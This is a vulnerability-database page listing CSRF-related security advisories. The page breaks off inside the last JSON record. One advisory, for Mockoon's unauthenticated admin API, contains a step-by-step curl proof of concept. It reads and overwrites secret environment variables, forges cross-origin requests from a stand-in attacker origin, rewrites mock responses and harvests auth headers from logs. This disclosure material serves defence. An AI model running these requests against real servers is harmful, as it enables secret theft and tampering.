Common Weakness Enumeration

CWE-352

Allowed

Cross-Site Request Forgery (CSRF)

Abstraction: Compound · Status: Stable

The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.

14755 vulnerabilities reference this CWE, most recent first.

GHSA-RQWR-4952-2GM5

Vulnerability from github – Published: 2022-05-17 01:16 – Updated: 2022-05-17 01:16

Details

Multiple cross-site request forgery (CSRF) vulnerabilities in PHPJabbers Event Booking Calendar 2.0 allow remote attackers to hijack the authentication of administrators for requests that (1) change the username and password of the administrator via an update action to the AdminOptions controller or conduct cross-site scripting (XSS) attacks via the (2) event_title parameter in a create action to the AdminEvents controller or (3) category_title parameter in a create action to the AdminCategories controller.

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2014-10014"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2015-01-13T11:59:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple cross-site request forgery (CSRF) vulnerabilities in PHPJabbers Event Booking Calendar 2.0 allow remote attackers to hijack the authentication of administrators for requests that (1) change the username and password of the administrator via an update action to the AdminOptions controller or conduct cross-site scripting (XSS) attacks via the (2) event_title parameter in a create action to the AdminEvents controller or (3) category_title parameter in a create action to the AdminCategories controller.",
  "id": "GHSA-rqwr-4952-2gm5",
  "modified": "2022-05-17T01:16:03Z",
  "published": "2022-05-17T01:16:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-10014"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/90413"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/90414"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/124753/eventbookingcalendar-xssxsrfsql.txt"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/56373"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-RQX3-XF8G-6759

Vulnerability from github – Published: 2023-08-17 00:30 – Updated: 2024-01-25 18:30

Details

A vulnerability in the web-based management interface of Cisco IP Phone 6800, 7800, and 8800 Series with Multiplatform Firmware could allow an unauthenticated, remote attacker to conduct a cross-site request forgery (CSRF) attack against a user of the web-based management interface of an affected system.

This vulnerability is due to insufficient CSRF protections for the web-based management interface of an affected device. An attacker could exploit this vulnerability by persuading an authenticated user of the interface to follow a crafted link. A successful exploit could allow the attacker to perform a factory reset of the affected device, resulting in a Denial of Service (DoS) condition.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2023-20221"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-16T22:15:11Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the web-based management interface of Cisco IP Phone 6800, 7800, and 8800 Series with Multiplatform Firmware could allow an unauthenticated, remote attacker to conduct a cross-site request forgery (CSRF) attack against a user of the web-based management interface of an affected system.\n\n This vulnerability is due to insufficient CSRF protections for the web-based management interface of an affected device. An attacker could exploit this vulnerability by persuading an authenticated user of the interface to follow a crafted link. A successful exploit could allow the attacker to perform a factory reset of the affected device, resulting in a Denial of Service (DoS) condition.",
  "id": "GHSA-rqx3-xf8g-6759",
  "modified": "2024-01-25T18:30:39Z",
  "published": "2023-08-17T00:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20221"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ipphone-csrf-HOCmXW2c"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RQX4-3F6Q-3X2V

Vulnerability from github – Published: 2026-09-11 22:04 – Updated: 2026-09-11 22:04

Summary

@Mockoon/commons-server: Unauthenticated admin API + wildcard CORS allows mock-state hijack and secret theft

Details

Summary

Mockoon's admin API (commons-server/src/libs/server/admin-api.ts) is mounted on the same Express listener as the user-defined mock routes, enabled by default in every shipped runtime (commons-server, CLI, serverless), serves Access-Control-Allow-Origin: * on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and Content-Type in Access-Control-Allow-Headers, and has zero authentication of any kind (no token, no shared secret, no MOCKOON_ADMIN_TOKEN env var — searched the repo, returns zero hits).

Any unauthenticated caller who can reach the mock server's port (default 0.0.0.0:3000) can:

Read every MOCKOON_* env var used by the operator as secret material in templates (getEnvVar helper).
Write arbitrary process env vars (no prefix check on the WRITE path) — poison operator's MOCKOON_API_KEY, MOCKOON_JWT_SECRET, …, or write process-level vars like AWS_SECRET_ACCESS_KEY that the surrounding runtime consumes.
Rewrite every mock route's body / status / headers in-runtime via PUT /mockoon-admin/environment — downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including Set-Cookie, Location, Content-Security-Policy, etc.
Read transaction logs / SSE stream (consumer's request bodies + auth headers in clear).
Read/write global template vars; purge state / data buckets / logs.

Because of the wildcard CORS reply, the attack also lands cross-origin from a browser: a developer who runs mockoon-cli start ... locally and visits a malicious website gets their mock state hijacked.

Details

Root cause

packages/commons-server/src/libs/server/server.ts:127:

private options: ServerOptions = {
  ...,
  enableAdminApi: true,        // ← default on
};

packages/cli/src/commands/start.ts:200:

enableAdminApi: !userFlags['disable-admin-api'],   // default true unless --disable-admin-api passed

packages/serverless/src/libs/serverless.ts:21:

enableAdminApi: true,          // ← default on, no flag to disable in the constructor

packages/commons-server/src/libs/server/admin-api.ts:63-74 (permissive CORS on every admin endpoint):

app.use(`${adminApiPrefix}*`, (req, res, next) => {
  res.setHeaders(
    new Headers({
      'Access-Control-Allow-Origin': '*',
      'Access-Control-Allow-Methods':
        'GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS',
      'Access-Control-Allow-Headers':
        'Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With'
    })
  );
  next();
});

packages/commons-server/src/libs/server/admin-api.ts:151-166 (no auth, no prefix check on WRITE):

const setEnvVarHandler = (req, res) => {
  try {
    const { key, value } = req.body;
    if (key !== undefined && value !== undefined) {
      process.env[key] = value;                            // ← any process env, any value
      res.send({ message: `Environment variable '${key}' has been set to '${value}'` });
    } else {
      throw new Error('Key or value missing from request');
    }
  } catch (_error) {
    res.status(400).send({ message: 'Invalid request' });
  }
};

packages/commons-server/src/libs/server/admin-api.ts:373-393 (the most impactful — runtime mock rewrite):

app.put(`${adminApiPrefix}/environment`, (req, res) => {
  try {
    const environment: Environment = EnvironmentSchema.validate(req.body).value;
    if (!environment) {
      res.status(400).send({ message: 'Invalid environment format' });
      return;
    }
    updateEnvironment(environment);                        // ← runtime mutation of every route response
    res.send({ message: 'Environment updated' });
  } catch (_error) {
    res.status(400).send({ message: 'Invalid environment format' });
  }
});

Default hostname: '' (packages/commons/src/constants/environment-schema.constants.ts:33) → Node binds 0.0.0.0/:: (confirmed via lsof). Migration #16 (packages/commons/src/libs/migrations.ts:343) also forces missing hostnames to '0.0.0.0'.

PoC

Live reproduction (2026-05-11, `@mockoon/cli@9.6.1`)

npm install @mockoon/cli@9.6.1. Minimal env.json with one route GET /users/:id whose response templates {{getEnvVar 'MOCKOON_API_KEY'}}. Start with:

MOCKOON_API_KEY="sk-operator-real-secret-DO_NOT_LEAK_xyz789" \
  mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file

Bind confirmed via lsof:

COMMAND  PID    USER  FD  TYPE  ...  NAME
node    39906  ...   14u  IPv6  ...  TCP *:3100 (LISTEN)    <-- all interfaces

Baseline mock response:

$ curl -s http://127.0.0.1:3100/users/42
{"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"}

1) Read operator secret unauth

$ curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/API_KEY
HTTP/1.1 200 OK
access-control-allow-origin: *
{"key":"MOCKOON_API_KEY","value":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"}

2) Poison operator secret unauth → downstream consumer ingests attacker value

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Content-Type: application/json" \
    -d '{"key":"MOCKOON_API_KEY","value":"sk-POISONED-BY-ATTACKER"}'
{"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-POISONED-BY-ATTACKER'"}

$ curl -s http://127.0.0.1:3100/users/42
{"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-POISONED-BY-ATTACKER"}

3) Write arbitrary non-`MOCKOON_*` env var (no prefix gate)

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Content-Type: application/json" \
    -d '{"key":"AWS_SECRET_ACCESS_KEY","value":"overwritten-by-attacker"}'
{"message":"Environment variable 'AWS_SECRET_ACCESS_KEY' has been set to 'overwritten-by-attacker'"}

4) Cross-origin CSRF from `https://attacker.evil`

$ curl -s -i -X OPTIONS http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Origin: https://attacker.evil" \
    -H "Access-Control-Request-Method: POST" \
    -H "Access-Control-Request-Headers: Content-Type"
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS
Access-Control-Allow-Headers: Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Origin: https://attacker.evil" \
    -H "Content-Type: application/json" \
    -d '{"key":"MOCKOON_API_KEY","value":"sk-EXFIL-FROM-attacker.evil"}'
{"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-EXFIL-FROM-attacker.evil'"}

Wildcard Access-Control-Allow-Origin: * + Access-Control-Allow-Methods covering PUT/POST/PATCH + Content-Type in Access-Control-Allow-Headers mean the browser preflight passes for non-simple JSON POSTs. A developer who visits a malicious site while their Mockoon CLI is running is fully exploitable from JavaScript.

5) Rewrite every mock route via unauth `PUT /environment`

$ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \
    -H "Origin: https://attacker.evil" \
    -H "Content-Type: application/json" \
    -d '{ ...full env JSON with route response rewritten to body "ATTACKER_PWNED",
          statusCode 418, header X-Pwned: by-attacker.evil... }'
{"message":"Environment updated"}

$ curl -s -i http://127.0.0.1:3100/users/99
HTTP/1.1 418 I'm a Teapot
X-Pwned: by-attacker.evil
Content-Type: application/json
{"id":"99","name":"ATTACKER_PWNED","role":"admin","backdoor":true}

6) Read transaction logs / SSE stream → harvest consumer's auth headers

$ curl -s http://127.0.0.1:3100/mockoon-admin/logs?limit=2

Each log entry includes consumer's request.headers (Authorization / Cookie / X-API-Key), request.body, request.urlPath, and the response served back — continuous info-disclosure of every API call the legitimate consumer makes against the mock. GET /mockoon-admin/events streams the same data live via SSE.

7) Purge state (DoS)

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/state/purge
{"response":"Server has been reset to its initial state"}

Impact

In typical local-dev mode (CVSS 8.8 High):

Secret read of every MOCKOON_* env var (API keys, JWT signing keys, OAuth client secrets).
Secret write to any process.env key — poison operator's secrets, swap AWS/SDK creds.
Runtime rewrite of every mock route's body / status / headers → downstream consumer ingests attacker-controlled data + headers (Set-Cookie, Location, CSP).
Auth-token harvesting via transaction logs / SSE stream.
State purge / DoS.

In network-exposed deployment (CVSS 9.4 Critical):

All of the above without user interaction. The serverless wrapper hardcodes enableAdminApi: true; mockoon/cli Docker image inherits the same default and is commonly deployed in shared CI / staging environments.

Suggested fix

Require explicit authentication on the admin API by default. Print an auto-generated bearer token on CLI startup (Jupyter-style), keyed off MOCKOON_ADMIN_TOKEN env var, compared with crypto.timingSafeEqual.
Stop sending Access-Control-Allow-Origin: * on admin endpoints. Default: no CORS at all (browser will block cross-origin reads). Operators who run a separate admin UI on another origin can opt-in with --admin-api-origin.
Bind the admin API to loopback by default, on a separate port or behind a remote-address check.
Add a prefix check on the setEnvVarHandler matching the prepend behavior on the GET handler — reject any key that doesn't start with envVarsPrefix.
Add SECURITY.md with disclosure instructions.
Ship @mockoon/serverless and mockoon/cli Docker image with enableAdminApi: false by default; opt-in via flag.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@mockoon/commons-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@mockoon/cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59148"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-352",
      "CWE-732",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-11T22:04:42Z",
    "nvd_published_at": "2026-07-09T19:17:07Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nMockoon\u0027s admin API ([`commons-server/src/libs/server/admin-api.ts`](https://github.com/mockoon/mockoon/blob/4375a8f/packages/commons-server/src/libs/server/admin-api.ts)) is mounted on the same Express listener as the user-defined mock routes, **enabled by default** in every shipped runtime (commons-server, CLI, serverless), serves **`Access-Control-Allow-Origin: *` on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and `Content-Type` in `Access-Control-Allow-Headers`**, and has **zero authentication of any kind** (no token, no shared secret, no `MOCKOON_ADMIN_TOKEN` env var \u2014 searched the repo, returns zero hits).\n\nAny unauthenticated caller who can reach the mock server\u0027s port (default `0.0.0.0:3000`) can:\n\n- Read every `MOCKOON_*` env var used by the operator as secret material in templates (`getEnvVar` helper).\n- **Write arbitrary process env vars (no prefix check on the WRITE path)** \u2014 poison operator\u0027s `MOCKOON_API_KEY`, `MOCKOON_JWT_SECRET`, \u2026, or write process-level vars like `AWS_SECRET_ACCESS_KEY` that the surrounding runtime consumes.\n- **Rewrite every mock route\u0027s body / status / headers in-runtime** via `PUT /mockoon-admin/environment` \u2014 downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including `Set-Cookie`, `Location`, `Content-Security-Policy`, etc.\n- Read transaction logs / SSE stream (consumer\u0027s request bodies + auth headers in clear).\n- Read/write global template vars; purge state / data buckets / logs.\n\nBecause of the wildcard CORS reply, the attack **also lands cross-origin from a browser**: a developer who runs `mockoon-cli start ...` locally and visits a malicious website gets their mock state hijacked.\n\n---\n\n## Details\n\n### Root cause\n\n`packages/commons-server/src/libs/server/server.ts:127`:\n\n```ts\nprivate options: ServerOptions = {\n  ...,\n  enableAdminApi: true,        // \u2190 default on\n};\n```\n\n`packages/cli/src/commands/start.ts:200`:\n\n```ts\nenableAdminApi: !userFlags[\u0027disable-admin-api\u0027],   // default true unless --disable-admin-api passed\n```\n\n`packages/serverless/src/libs/serverless.ts:21`:\n\n```ts\nenableAdminApi: true,          // \u2190 default on, no flag to disable in the constructor\n```\n\n`packages/commons-server/src/libs/server/admin-api.ts:63-74` (permissive CORS on every admin endpoint):\n\n```ts\napp.use(`${adminApiPrefix}*`, (req, res, next) =\u003e {\n  res.setHeaders(\n    new Headers({\n      \u0027Access-Control-Allow-Origin\u0027: \u0027*\u0027,\n      \u0027Access-Control-Allow-Methods\u0027:\n        \u0027GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS\u0027,\n      \u0027Access-Control-Allow-Headers\u0027:\n        \u0027Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With\u0027\n    })\n  );\n  next();\n});\n```\n\n`packages/commons-server/src/libs/server/admin-api.ts:151-166` (no auth, no prefix check on WRITE):\n\n```ts\nconst setEnvVarHandler = (req, res) =\u003e {\n  try {\n    const { key, value } = req.body;\n    if (key !== undefined \u0026\u0026 value !== undefined) {\n      process.env[key] = value;                            // \u2190 any process env, any value\n      res.send({ message: `Environment variable \u0027${key}\u0027 has been set to \u0027${value}\u0027` });\n    } else {\n      throw new Error(\u0027Key or value missing from request\u0027);\n    }\n  } catch (_error) {\n    res.status(400).send({ message: \u0027Invalid request\u0027 });\n  }\n};\n```\n\n`packages/commons-server/src/libs/server/admin-api.ts:373-393` (the most impactful \u2014 runtime mock rewrite):\n\n```ts\napp.put(`${adminApiPrefix}/environment`, (req, res) =\u003e {\n  try {\n    const environment: Environment = EnvironmentSchema.validate(req.body).value;\n    if (!environment) {\n      res.status(400).send({ message: \u0027Invalid environment format\u0027 });\n      return;\n    }\n    updateEnvironment(environment);                        // \u2190 runtime mutation of every route response\n    res.send({ message: \u0027Environment updated\u0027 });\n  } catch (_error) {\n    res.status(400).send({ message: \u0027Invalid environment format\u0027 });\n  }\n});\n```\n\nDefault `hostname: \u0027\u0027` (`packages/commons/src/constants/environment-schema.constants.ts:33`) \u2192 Node binds `0.0.0.0`/`::` (confirmed via `lsof`). Migration #16 (`packages/commons/src/libs/migrations.ts:343`) also forces missing hostnames to `\u00270.0.0.0\u0027`.\n\n---\n\n## PoC\n\n### Live reproduction (2026-05-11, `@mockoon/cli@9.6.1`)\n\n`npm install @mockoon/cli@9.6.1`. Minimal `env.json` with one route `GET /users/:id` whose response templates `{{getEnvVar \u0027MOCKOON_API_KEY\u0027}}`. Start with:\n\n```\nMOCKOON_API_KEY=\"sk-operator-real-secret-DO_NOT_LEAK_xyz789\" \\\n  mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file\n```\n\nBind confirmed via `lsof`:\n\n```\nCOMMAND  PID    USER  FD  TYPE  ...  NAME\nnode    39906  ...   14u  IPv6  ...  TCP *:3100 (LISTEN)    \u003c-- all interfaces\n```\n\nBaseline mock response:\n\n```\n$ curl -s http://127.0.0.1:3100/users/42\n{\"id\":\"42\",\"name\":\"BENIGN_ALICE\",\"role\":\"user\",\"apiKey\":\"sk-operator-real-secret-DO_NOT_LEAK_xyz789\"}\n```\n\n#### 1) Read operator secret unauth\n\n```\n$ curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/API_KEY\nHTTP/1.1 200 OK\naccess-control-allow-origin: *\n{\"key\":\"MOCKOON_API_KEY\",\"value\":\"sk-operator-real-secret-DO_NOT_LEAK_xyz789\"}\n```\n\n#### 2) Poison operator secret unauth \u2192 downstream consumer ingests attacker value\n\n```\n$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"key\":\"MOCKOON_API_KEY\",\"value\":\"sk-POISONED-BY-ATTACKER\"}\u0027\n{\"message\":\"Environment variable \u0027MOCKOON_API_KEY\u0027 has been set to \u0027sk-POISONED-BY-ATTACKER\u0027\"}\n\n$ curl -s http://127.0.0.1:3100/users/42\n{\"id\":\"42\",\"name\":\"BENIGN_ALICE\",\"role\":\"user\",\"apiKey\":\"sk-POISONED-BY-ATTACKER\"}\n```\n\n#### 3) Write arbitrary non-`MOCKOON_*` env var (no prefix gate)\n\n```\n$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"key\":\"AWS_SECRET_ACCESS_KEY\",\"value\":\"overwritten-by-attacker\"}\u0027\n{\"message\":\"Environment variable \u0027AWS_SECRET_ACCESS_KEY\u0027 has been set to \u0027overwritten-by-attacker\u0027\"}\n```\n\n#### 4) Cross-origin CSRF from `https://attacker.evil`\n\n```\n$ curl -s -i -X OPTIONS http://127.0.0.1:3100/mockoon-admin/env-vars \\\n    -H \"Origin: https://attacker.evil\" \\\n    -H \"Access-Control-Request-Method: POST\" \\\n    -H \"Access-Control-Request-Headers: Content-Type\"\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS\nAccess-Control-Allow-Headers: Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With\n\n$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \\\n    -H \"Origin: https://attacker.evil\" \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"key\":\"MOCKOON_API_KEY\",\"value\":\"sk-EXFIL-FROM-attacker.evil\"}\u0027\n{\"message\":\"Environment variable \u0027MOCKOON_API_KEY\u0027 has been set to \u0027sk-EXFIL-FROM-attacker.evil\u0027\"}\n```\n\nWildcard `Access-Control-Allow-Origin: *` + `Access-Control-Allow-Methods` covering PUT/POST/PATCH + `Content-Type` in `Access-Control-Allow-Headers` mean the browser preflight passes for non-simple JSON POSTs. A developer who visits a malicious site while their Mockoon CLI is running is fully exploitable from JavaScript.\n\n#### 5) Rewrite every mock route via unauth `PUT /environment`\n\n```\n$ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \\\n    -H \"Origin: https://attacker.evil\" \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{ ...full env JSON with route response rewritten to body \"ATTACKER_PWNED\",\n          statusCode 418, header X-Pwned: by-attacker.evil... }\u0027\n{\"message\":\"Environment updated\"}\n\n$ curl -s -i http://127.0.0.1:3100/users/99\nHTTP/1.1 418 I\u0027m a Teapot\nX-Pwned: by-attacker.evil\nContent-Type: application/json\n{\"id\":\"99\",\"name\":\"ATTACKER_PWNED\",\"role\":\"admin\",\"backdoor\":true}\n```\n\n#### 6) Read transaction logs / SSE stream \u2192 harvest consumer\u0027s auth headers\n\n```\n$ curl -s http://127.0.0.1:3100/mockoon-admin/logs?limit=2\n```\n\nEach log entry includes consumer\u0027s `request.headers` (Authorization / Cookie / X-API-Key), `request.body`, `request.urlPath`, and the response served back \u2014 continuous info-disclosure of every API call the legitimate consumer makes against the mock. `GET /mockoon-admin/events` streams the same data live via SSE.\n\n#### 7) Purge state (DoS)\n\n```\n$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/state/purge\n{\"response\":\"Server has been reset to its initial state\"}\n```\n\n---\n\n## Impact\n\nIn typical local-dev mode (CVSS 8.8 High):\n\n- Secret read of every `MOCKOON_*` env var (API keys, JWT signing keys, OAuth client secrets).\n- Secret write to any `process.env` key \u2014 poison operator\u0027s secrets, swap AWS/SDK creds.\n- Runtime rewrite of every mock route\u0027s body / status / headers \u2192 downstream consumer ingests attacker-controlled data + headers (Set-Cookie, Location, CSP).\n- Auth-token harvesting via transaction logs / SSE stream.\n- State purge / DoS.\n\nIn network-exposed deployment (CVSS 9.4 Critical):\n\n- All of the above without user interaction. The serverless wrapper hardcodes `enableAdminApi: true`; `mockoon/cli` Docker image inherits the same default and is commonly deployed in shared CI / staging environments.\n\n---\n\n## Suggested fix\n\n1. Require explicit authentication on the admin API by default. Print an auto-generated bearer token on CLI startup (Jupyter-style), keyed off `MOCKOON_ADMIN_TOKEN` env var, compared with `crypto.timingSafeEqual`.\n2. Stop sending `Access-Control-Allow-Origin: *` on admin endpoints. Default: no CORS at all (browser will block cross-origin reads). Operators who run a separate admin UI on another origin can opt-in with `--admin-api-origin`.\n3. Bind the admin API to loopback by default, on a separate port or behind a remote-address check.\n4. Add a prefix check on the `setEnvVarHandler` matching the prepend behavior on the GET handler \u2014 reject any `key` that doesn\u0027t start with `envVarsPrefix`.\n5. Add `SECURITY.md` with disclosure instructions.\n6. Ship `@mockoon/serverless` and `mockoon/cli` Docker image with `enableAdminApi: false` by default; opt-in via flag.",
  "id": "GHSA-rqx4-3f6q-3x2v",
  "modified": "2026-09-11T22:04:42Z",
  "published": "2026-09-11T22:04:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mockoon/mockoon/security/advisories/GHSA-rqx4-3f6q-3x2v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59148"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mockoon/mockoon/pull/2254"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mockoon/mockoon/commit/c420b5a56918475b8663977b51e5f986e45b3299"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mockoon/mockoon"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mockoon/mockoon/releases/tag/v9.7.0"
    },
    {
      "type": "WEB",
      "url": "https://mockoon.com/releases/9.7.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@Mockoon/commons-server: Unauthenticated admin API + wildcard CORS allows mock-state hijack and secret theft"
}

GHSA-RQXC-RJHG-CPRX

Vulnerability from github – Published: 2023-12-18 18:30 – Updated: 2026-04-28 21:33

Details

Cross-Site Request Forgery (CSRF) vulnerability in SVGator SVGator – Add Animated SVG Easily.This issue affects SVGator – Add Animated SVG Easily: from n/a through 1.2.4.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2023-48766"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-18T17:15:10Z",
    "severity": "MODERATE"
  },
  "details": "Cross-Site Request Forgery (CSRF) vulnerability in SVGator SVGator \u2013 Add Animated SVG Easily.This issue affects SVGator \u2013 Add Animated SVG Easily: from n/a through 1.2.4.",
  "id": "GHSA-rqxc-rjhg-cprx",
  "modified": "2026-04-28T21:33:24Z",
  "published": "2023-12-18T18:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48766"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/svgator/wordpress-svgator-add-animated-svg-easily-plugin-1-2-4-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RR2M-MR88-9J4F

Vulnerability from github – Published: 2022-06-28 00:01 – Updated: 2022-07-07 00:00

Details

The WP Sentry WordPress plugin through 1.0 does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack and lead to Stored Cross-Site Scripting due to the lack of sanitisation and escaping as well

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2022-1844"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-27T09:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The WP Sentry WordPress plugin through 1.0 does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack and lead to Stored Cross-Site Scripting due to the lack of sanitisation and escaping as well",
  "id": "GHSA-rr2m-mr88-9j4f",
  "modified": "2022-07-07T00:00:24Z",
  "published": "2022-06-28T00:01:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1844"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/f0b0baac-7f44-44e1-af73-5a72b967858d"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RR2R-G6XM-58XJ

Vulnerability from github – Published: 2022-05-18 00:00 – Updated: 2022-12-02 20:06

Summary

Cross Site Request Forgery in Jenkins Storable Configs Plugin

Details

A cross-site request forgery (CSRF) vulnerability in Jenkins Storable Configs Plugin 1.0 and earlier allows attackers to have Jenkins parse a local XML file (e.g., archived artifacts) that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.

Severity

7.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jvnet.hudson.plugins:storable-configs-plugin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-30972"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-06-01T20:52:02Z",
    "nvd_published_at": "2022-05-17T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "A cross-site request forgery (CSRF) vulnerability in Jenkins Storable Configs Plugin 1.0 and earlier allows attackers to have Jenkins parse a local XML file (e.g., archived artifacts) that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.",
  "id": "GHSA-rr2r-g6xm-58xj",
  "modified": "2022-12-02T20:06:51Z",
